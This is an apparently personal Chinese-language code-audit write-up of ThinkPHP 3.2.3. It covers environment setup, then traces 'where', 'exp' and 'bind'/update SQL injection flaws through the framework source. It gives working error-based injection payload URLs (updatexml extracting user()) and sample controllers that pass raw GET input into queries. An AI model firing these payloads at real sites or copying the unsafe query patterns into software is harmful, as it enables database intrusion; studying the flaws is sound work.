环境配置
1.thinkphp官网下载thinkphp_3.2.3FUll版本。
2.数据库配置:
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => 'thinkphp_', // 数据库表前缀
'DB_PARAMS' => array(), // 数据库连接参数
'DB_DEBUG' => TRUE, // 数据库调试模式 开启后可以记录SQL日志
'DB_FIELDS_CACHE' => true, // 启用字段缓存
'DB_CHARSET' => 'utf8', // 数据库编码默认采用utf8
'DB_DEPLOY_TYPE' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'DB_RW_SEPARATE' => false, // 数据库读写是否分离 主从式有效
'DB_MASTER_NUM' => 1, // 读写分离后 主服务器数量
'DB_SLAVE_NO' => '', // 指定从服务器序号
3.数据库测试
public function test(){
$data = M('3')->where('id=1')->select();
var_dump($data);
}


至此环境基本配置完毕,还有就是xdebug之类的。
thinkphp开发模式学习
1.url模式
标准路由模式
http://serverName/index.php/模块/控制器/操作
如果我们直接访问入口文件的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(Home)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:
http://serverName/index.php
http://serverName/index.php/Home/Index/index
普通模式
也就是传统的GET传参方式来指定当前访问的模块和操作,例如:
http://localhost/?m=home&c=user&a=login&var=value
m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参数。
兼容模式
是用于不支持PATHINFO的特殊环境,URL地址是:
http://localhost/?s=/home/user/login/var/value
分别为模块,控制器,方法,参数名,参数值。
变量名可自己控制:
'VAR_PATHINFO' => 'path'
A方法
在一个控制器中调用另一个控制器。
先新建一个控制器,继承think底层的contorller类,然后在实现方法即可。

然后在另一个控制器中使用A方法去
public function atest(){
$User = A('User');
$User->index();
}

R方法
与A方法功能相同
public function atest(){
R('User/index')
}
Action参数绑定
根据官方手册:
namespace Home\Controller;
use Think\Controller;
class BlogController extends Controller{
public function read($id){
echo 'id='.$id;
}
public function archive($year='2013',$month='01'){
echo 'year='.$year.'&month='.$month;
}
}
url:
http://serverName/index.php/Home/Blog/read/id/5
http://serverName/index.php/Home/Blog/archive/year/2013/month/11
M方法和D方法
在实例化的过程中,经常使用D方法和M方法,这两个方法的区别在于M方法实例化模型无需用户为每个数据表定义模型类,如果D方法没有找到定义的模型类,则会自动调用M方法。通俗一点说:M实例化参数是数据库的表名。D实例化的是你自己在Model文件夹下面建立的模型文件
例如:user = D('user');
如果实例化的是一个空模型
例如 Demo = M();
其他方法
A快速实例化Action类库
B执行行为类
C配置参数存取方法
D快速实例化Model类库
F快速简单文本数据存取方法
L 语言参数存取方法
M快速高性能实例化模型
R快速远程调用Action类方法
S快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
I方法
I方法是ThinkPHP众多单字母函数中的新成员,其命名来自于英文Input(输入),主要用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下:
I('变量类型.变量名',['默认值'],['过滤方法'])
where注入
测试代码:
public function index()
{
$data = M('3')->find(I('GET.id'));
var_dump($data);
}
通过I方法获取id的值进行拼接,然后执行查询语句,最后得到结果,在此处打断点,开启debug模式。

可以看到正常情况下,执行的sql语句为:
SELECT * FROM `thinkphp_3` WHERE `id` = 1 LIMIT 1
我们传入id=1'然后打断点。可以看到functions.php:380,使用了htmlspeclalchars进行了参数过滤,但是过滤后id值依旧为1'继续跟进。


然后在412行,array_walk_recursive()使用think_filte函数对传入值进行过滤。

think_filte:
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
此时id依旧为1‘,然后在到748行,_parseOptions方法对传入参数进行处理。

在ThinkPHP/Library/Think/Model.class.php:648对查询的字段进行了检查,并使用_parseType方法进行了验证。
if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields(); //设置了进这里
}
// 数据表别名
if (!empty($options['alias'])) {//判断是否设置了数据表别名
$options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
// 对数组查询条件进行字段类型检查
......
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
__parsetype:
protected function _parseType(&$data,$key) {
if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
$fieldType = strtolower($this->fields['_type'][$key]);
if(false !== strpos($fieldType,'enum')){
// 支持ENUM类型优先检测
}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
$data[$key] = intval($data[$key]);
}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
$data[$key] = floatval($data[$key]);
}elseif(false !== strpos($fieldType,'bool')){
$data[$key] = (bool)$data[$key];
}
}
}
在这里经过parsetype方法处理后我们传入的id的值被强转成int型。

最关键的代码在:
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
只要绕过这段代码,使其成假,不进入接下来的语句,就不会对我们的传入的字符进行处理,从而达到注入的效果。只要$options['where']不为数组,或者不设置值即可绕过。
payload:
http://127.0.0.1/thinkphp_3/?id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

传入id[where]=1 == where =>1

$input = array('id' => array('where' =>'1' ));
exp注入
表达式查询
先看官方给的定义:
$map['字段名'] = array('表达式','查询条件');
EXP 表达式查询,支持SQL语法 expression
exp表达式查询支持sql语法,那我们岂不是就能为所欲为?
官方给的🌰:
$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用户的积分加1
$User->where('id=5')->save($data); // 根据条件保存修改的数据
我们可以发现,数组的第一个元素只要为exp就可以执行之后的slq语句,那么我们只要想办法能控制,给这个数组传值即可。
测试代码:
public function index()
{
$User = D('3');
$map = array();
$map['id'] = $_GET['id'];
$user = $User->where($map)->find();
var_dump($user);
}
打断点,跟进。
ThinkPHP/Library/Think/Model.class.php:765行find函数,使用:
$resultSet = $this->db->select($options);
得到了查询结果,那么我们跟进select函数,到ThinkPHP/Library/Think/Db/Driver.class.php:942行。
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
跟进buildselectsql函数,字面意思就是创建sql语句到956行。
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
这里还是没发现exp的影子,而且又用parsesql函数,那么继续跟进parsesql函数。
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
这个函数应该用来对sql语句进行处理,我们跟进parseWhere.

在这个函数中,不管怎么样,我们传进来的值都会被parseWhereItem进行处理,我们继续跟进。

}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
这里,判断,然后直接进行拼接。
首先我们要满足:if(is_array(val的值就是我们传入的值,所以我们只要传入一个数组,然后
val[0]);这里取
val[0]=exp且$val为数组即可进行注入。
payload:http://127.0.0.1/thinkphp_3/?id[0]=exp&id[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

之所以不用thinkphp内置函数I来获取值是因为,在where注入中,think_filter
函数,对传入参数进行了过滤。
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
对exp进行了过滤所以不能成功注入。
update注入
上文说到,当$val[0]==bind时也会直接将语句拼接,update注入就出自与此。
代码:
public function index()
{
$User = D('3');
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
在$valu行打断点,直接进入where方法,一路跟进,到update方法,在继续跟进此方法
到ThinkPHP/Library/Think/Db/Driver.class.php:891
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
可以看到,数据传入后,经parserwhere处理最后交由execute,那么我们跟进
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
可以看到当前的sql语句为:
'UPDATE `thinkphp_3` SET `password`=:0 WHERE `id` = :1'

经过
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
语句变为
UPDATE `thinkphp_3` SET `password`='122344' WHERE `id` = :1

我们发现:0被password的值替换,那么我们只要将id的值设置成0即可,在传入拼接的sql语句即可。
payload:
http://127.0.0.1/?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))&password=122344

至此thinkphp3的漏洞审计告一断落,这也是我第一次代码审计,参考了很多师傅的文章,感谢各位师傅无私奉献的精神。